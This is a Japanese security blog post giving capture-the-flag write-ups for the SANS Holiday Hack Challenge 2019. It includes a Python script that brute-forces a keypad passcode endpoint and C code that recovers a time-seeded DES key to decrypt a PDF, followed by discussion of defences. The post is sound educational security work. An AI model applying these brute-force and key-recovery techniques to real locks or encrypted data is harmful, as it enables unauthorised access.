Holiday Hack Challenge 2019のWriteUp

NECセキュリティブログ

2020年3月13日

NEC サイバーセキュリティ戦略本部 セキュリティ技術センターの岩田です。
Holiday Hack Challenge 2019 WriteUp 2問を書きます。

Holiday Hack Challenge

Holiday Hack Challenge [*1]は毎年クリスマスの時期にSANS Instituteが開催しているセキュリティイベントです。参加者は、サイバーセキュリティについて学ぶことができる良質な問題を解いていきます。期間は約1ヶ月間で、自分のペースで進めることができます。問題をすべて解き、指定の期日までにWriteUpを提出することで賞品獲得のチャンスを得ることができます。とはいっても問題の難易度は非常に高く、またいい加減なWriteUpではお祝いの言葉ももらえません(過去に経験済み)。今年は時間をかけて丁寧にWriteUpを作成した結果、SUPER HONORABLE MENTIONS に名前を載せてもらうことができました(優勝・準優勝は副賞として記念コインがもらえるのですが、今回はコイン獲得までにはいたりませんでした)[*2]。英語表現力・デザイン力も必要な厳しい戦いとなっています。
問題の内容は、今年はログ解析系の問題が多く、たとえば侵害された環境のログ分析を行う内容などがありました。過去に開催されたイベントの内容も含め常設されているため、問題にいつでもチャレンジすることができます[*3]。
本ブログでは、プログラミングが必要な問題から2問 WriteUp を書きます。

SUPER HONORABLE MENTIONSに名前が掲載された

1.Frosty Keypad

電子錠を突破する問題です。

電子錠の画像

電子錠の画像を見ると、1,3,7とENTERキーの様子が他のキーと異なります。これは利用者がキーに触れ、表面の氷が溶けたと考えられます。適当に数値を入力したところ8桁までしか入力できないことがわかりました。よってパスコードは1,3,7の組み合わせで最大8桁と推測できます。

得られた情報をもとにして、パスコードの組み合わせリストを作りブルートフォースを仕掛けるプログラムを作成します。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import json
import urllib.request
import itertools

for passcode_length in range(3,9):  # 最低3文字、最大8文字
    passcode_number = list()
    challenged = set()
    for i in range(passcode_length-2):
        passcode_number.append('1')
        passcode_number.append('3')
        passcode_number.append('7')
    for passcode_candidate in itertools.permutations(passcode_number, passcode_length):
        passcode = "".join(passcode_candidate)
        if passcode in challenged:  # 試行済みのパスコードはSKIP
            continue
        challenged.add(passcode)
        if not "1" in passcode:     # 最低1回づつ1,3,7が出現すること
            continue
        if not "3" in passcode:
            continue
        if not "7" in passcode:
            continue

        url = "https://keypad.elfu.org/checkpass.php?i="+passcode+"&resourceId=15ab22f2-c963-44dc-9c9d-6e9c3923fed5"
        try:
            print("Checking... "+passcode)
            req = urllib.request.Request(url)
            with urllib.request.urlopen(req) as response:
                body = json.load(response)
        except urllib.error.HTTPError as e:
            print (e)
            continue

        if body['success']!=False:
            print("Valid Code is : "+passcode)
            sys.exit()

作成したプログラムを実行すると、約40回ほどの試行でパスコードが7331であると判明しました。電子錠にパスコードを入力するとロックが解除されました。

(snip)
Checking... 7173
Checking... 7311
Checking... 7313
Checking... 7317
Checking... 7331
Valid Code is : 7331

この問題ではパスコードは最大8桁の可能性がありましたが、実際に登録されていたパスコードは4桁と短いため、短時間でパスコードを得ることができました。ここで、現実世界で同様の攻撃が可能なのか考えてみます。パスコードが4桁の場合、何も情報がなければ10,000回の試行が必要となります。しかし、パスコードに使用されている数値が1,3,7の組み合わせであるという情報を利用することで試行回数を大幅に削減し、ワーストケースでも36回でパスコードを当て、ロックを解除することができます。
与えられた画像から「この電子錠は極寒環境で使われている模様」という情報以外でパスコードに使用されている数値が推測可能かという点に関しては、一般的な環境においても Thermal Camera を利用してパスコードやロックパターンを突破するという研究結果があります[*4] [*5]。また温度以外に汚れを利用することもできます。例えばテンキー錠やタッチパネルが汚れていると、よく触れられる場所、つまりパスコードの一部を目視することができます[*6]。このように、現実世界においても突破のための情報を得る手段は考えられ、同様の攻撃が可能だと考えられます。
では、どのように対策したら良いでしょうか。例えば、システム面での対策としては、連続して認証できる回数の制限や連続して認証に失敗する時の警告(エラー音など)が考えられます。また、運用面での対策としては、共通パスコードを利用しない、人が触れる部分をこまめに清掃するなどが考えられます。

2.Recover Cleartext Document

暗号化された文書ファイルを復号する問題です。
暗号化された文書ファイル (ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc) と、実行可能ファイル (elfscrow.exe)、そしてデバッグシンボルファイル (elfscrow.pdb) が配布されました。この文書ファイルは、2019年12月6日の午後7時から午後9時 (UTC) の間に暗号化されたことがわかっています。
配布物を確認します。実行可能ファイルを実行するとヘルプが表示されました。暗号化・復号ができるプログラムのようです。

まずファイルの暗号化を試してみます。

次に暗号化されたファイルの復号を試してみます。

この2つのファイルを比較したところ、復号したファイルはオリジナルファイルと一致しました。secret idがわかれば暗号化されたファイルを復号することができます。

secret idはどのように生成されているのか、プログラムを解析します。

(擬似コード)

void do_encrypt(int insecure, char *in_file, char *out_file)
{
  buf = read_file(in_file, &data_len);
  data = realloc(buf, data_len + 16);
  CryptAcquireContextA(&hProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0xF0000000);
  generate_key(&key);
  print_hex("Generated an encryption key", &key, 8u);
  CryptImportKey(hProv, &keyBlob, 0x14u, 0, 1u, &hKey);
  CryptEncrypt(hKey, 0, 1, 0, data, &data_len, data_len + 8);
  store_key(insecure, &key);
  write_file(out_file, data, data_len);
}

Microsoft の Cryptographic API を利用してファイルを暗号化していることがわかり、generate_key 関数で暗号鍵を生成しファイルを暗号化しているので、store_key 関数が secret id の処理に関係していそうです。

secret id 関数を確認します。

(擬似コード)

void store_key(int insecure, char *key)
{
  printf("Elfscrowing your key...\n");
  printf("\n");
  to_hex(key, key_hex);
  hInternet = InternetOpenA("ElfScrow V1.01 (SantaBrowse Compatible)", 1u, 0, 0, 0);
  hConnect = InternetConnectA(hInternet,"elfscrow.elfu.org",insecure != 0 ? 80 : 443,&szUserName,&szPassword,3u,0,0);
  hRequest = HttpOpenRequestA(hConnect, "POST", "/api/store", 0, 0, 0, insecure != 0 ? 0 : 0x800000, 0);
  printf("Elfscrowing the key to: %s\n\n", "elfscrow.elfu.org/api/store");
  HttpSendRequestA(hRequest, 0, 0, key_hex, 0x10u);
  buffer_length = 10;
  HttpQueryInfoA(hRequest, 0x13u, status, &buffer_length, 0);
  InternetReadFile(hRequest, buffer, 0x3FFu, &bytes_read);
  buffer[bytes_read] = 0;
  printf("Your secret id is %s - Santa Says, don't share that key with anybody!\n", buffer);
}

暗号鍵は elfscrow.elfu.org/api/store に POST され、secret id はサーバーから返されることがわかりました。どうやら配布されたデータから secret id を得ることは困難なようです。

暗号鍵はどのように作られているのか generate_key 関数および関連する関数を確認します。

(擬似コード)

static int state;

void super_secure_srand(int seed)
{
    state = seed;
}

int super_secure_random()
{
  state = 214013 * state + 2531011;
  return (state >> 16) & 0x7FFF;
}

void generate_key(char *buffer)
{
  printf("Our miniature elves are putting together random bits for your secret key!\n\n");
  t = time(0);
  super_secure_srand(t);
  for ( i = 0; i < 8; ++i )
    buffer[i] = super_secure_random();
}

現在時刻を SEED として設定し、独自実装した乱数関数で暗号鍵を生成していることがわかりました。問題文よりファイルを暗号化した日付とおおよその時刻がわかっているため、暗号鍵を推測することができそうです。

次に復号処理を確認します。

(擬似コード)

void do_decrypt(int insecure, char *in_file, char *out_file, char *secret_id)
{
  data = read_file(in_file, &data_len);
  CryptAcquireContextA(&hProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0xF0000000);
  retrieve_key(insecure, &key, secret_id);
  CryptImportKey(hProv, &keyBlob, 0x14u, 0, 1u, &hKey);
  CryptDecrypt(hKey, 0, 1, 0, (BYTE *)data, &data_len);
  printf("File successfully decrypted!\n");
  write_file(out_file, data, data_len);
}

retrieve_key 関数は、elfscrow.elfu.org から暗号鍵を取得する関数でした。
任意の時刻で復号を試すには、retrieve_key 関数を暗号鍵生成関数に置き換え、指定された時刻で SEED を設定、暗号鍵を作成し復号処理をおこなえば良さそうです。拡張子を見ると、暗号化ファイルはpdf形式であると判断できるため、復号データの先頭が"%PDF"で始まるかをチェックすることで、正しく復号できたか判断することができそうです。

得られた情報をもとにプログラムを作成します。

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>

static int state;

void super_secure_srand(int seed)
{
    state = seed;
}

int super_secure_random()
{
    state = 214013 * state + 2531011;
    return (state >> 16) & 0x7FFF;
}

int main(int argc,char *argv[])
{
    HCRYPTPROV hCryptProv = 0;
    HCRYPTKEY hKey = 0;
    BYTE keyBlob[] = {
    0x08,0x02,0x00,0x00,0x01,0x66,0x00,0x00, // BLOB header 
    0x08,0x00,0x00,0x00,                     // key length, in bytes
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  // DES key with parity
    };

    FILE *fp;
    fp = fopen("ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc","rb");
    if(fp==NULL) {
        printf("File Open failed\n");
        return -1;
    }
    fseek(fp, 0L, SEEK_END);
    fpos_t pos;
    fgetpos(fp, &pos);
    size_t encrypt_data_length = pos;
    uint8_t *encrypt_data = new uint8_t[encrypt_data_length];
    fseek(fp, 0L, SEEK_SET);
    fread(encrypt_data,encrypt_data_length,1,fp);
    fclose(fp);
    if( !CryptAcquireContext(&hCryptProv, 0, MS_ENHANCED_PROV_A, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT) ) {
        printf("CryptAcquireContext failed\n");
        return -1;
    }
    uint8_t *decrypt_data = new uint8_t[encrypt_data_length];

    for(int hour=19;hour<=21;hour++) {      //  19 to 21 hour
        for(int min=0;min<60;min++) {       //  0 to 59 minutes
            for(int sec=0;sec<60;sec++) {   //  0 to 59 seconds
                struct tm t = {0};
                t.tm_year = 2019-1900;      //  2019 year
                t.tm_mon  = 12-1;           //  12 month
                t.tm_mday = 6;              //  6 day
                t.tm_hour = hour+9;         //  TZ=JST-9
                t.tm_min  = min;
                t.tm_sec  = sec;
                time_t timer = mktime(&t);
                memcpy(decrypt_data,encrypt_data,encrypt_data_length);
                DWORD decrypt_data_length = encrypt_data_length;

                //  generate_key
                super_secure_srand(timer);
                for(int i=0;i<8;i++) {
                    keyBlob[i+12] = super_secure_random();
                }

                //  decrypt
                if ( !CryptImportKey(hCryptProv, keyBlob, sizeof(keyBlob), 0, CRYPT_EXPORTABLE, &hKey) ) {
                    printf("CryptImportKey failed\n");
                    return -1;
                }
                if ( !CryptDecrypt(hKey, 0, TRUE, 0, (BYTE *)decrypt_data, &decrypt_data_length) ) {
                    continue;
                }
                printf("Checking... hour=%02d min=%02d sec=%02d\n",hour,min,sec);
                if(memcmp(decrypt_data,"%PDF",4)==0) {
                    FILE *fp;
                    fp = fopen("ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf","wb");
                    fwrite(decrypt_data,decrypt_data_length,1,fp);
                    fclose(fp);
                    printf("Success!\n");
                    delete[] decrypt_data;
                    delete[] encrypt_data;
                    return 0;
                }
            }
        }
    }
    printf("Failed\n");
    delete[] decrypt_data;
    delete[] encrypt_data;
    return 0;
}

作成したソースコードをコンパイルしプログラムを実行すると、数分で暗号化された文書ファイルの復号に成功しました。

(snip)
Checking... hour=20 min=05 sec=47
Checking... hour=20 min=08 sec=41
Checking... hour=20 min=11 sec=38
Checking... hour=20 min=11 sec=42
Checking... hour=20 min=20 sec=50
Success!

復号した pdf ファイルの中身はここでは公開しないため、興味のある方はご自身でご確認ください。

わずか数分で復号できてしまった原因は、実装に問題があったためです。独自実装の乱数関数では SEED の値が同じならば、同じ乱数列が生成されます(擬似乱数列)。プログラム実行毎に異なる乱数を発生させるため現在時刻を SEED に使うのは悪くない考え方ですが、擬似乱数列を使った暗号鍵は推測可能なため脆弱な実装となっていました。暗号鍵を生成した日時が絞り込めない と思うかもしれませんが、現在時刻から過去にさかのぼって順次復号処理を試行することで、総当りに比べ効率的に暗号鍵を入手することができます。

この問題を対策するには、暗号専用のAPIを利用することやハードウェア乱数生成器を利用することがあげられます。攻撃者はデータの復号を試みる場合、適切に実装された暗号アルゴリズムを破ることは現実的ではないため、何らかの手段を講じて暗号鍵を入手することを考えるでしょう。暗号鍵を入手する手段は、プログラムを解析する以外にも例えば鍵管理サーバーへの攻撃・侵入、通信データの傍受・復号、メモリやファイルシステムのフォレンジック、ログに情報を書き出していないかを調べるなどがあります。これらは、ひとえに実装や運用の不備といってもよいでしょう。したがって、防御側は設計段階から運用まで幅広く対策を考え、適切に対応していく必要があります。

おわりに

Holiday Hack Challenge 2019のWriteUp を2問紹介し、攻撃や防御について考察してみました。何かお役立ていただけましたら幸いです。

執筆者プロフィール

岩田 友臣(いわた ともおみ)
セキュリティ技術センター リスクハンティングチーム

hardware/firmware/software の開発や生体認証の技術開発などを経て、現在はペネトレーションテスト、脆弱性診断などの業務に従事。

noraneco のメンバー。主に Reversing/Misc 問を担当
SANS - Cyber Defense NetWars 2019.10 1位(Team)
SECCON 2019 国際決勝5位
GXPN、GCIH、RISSを保持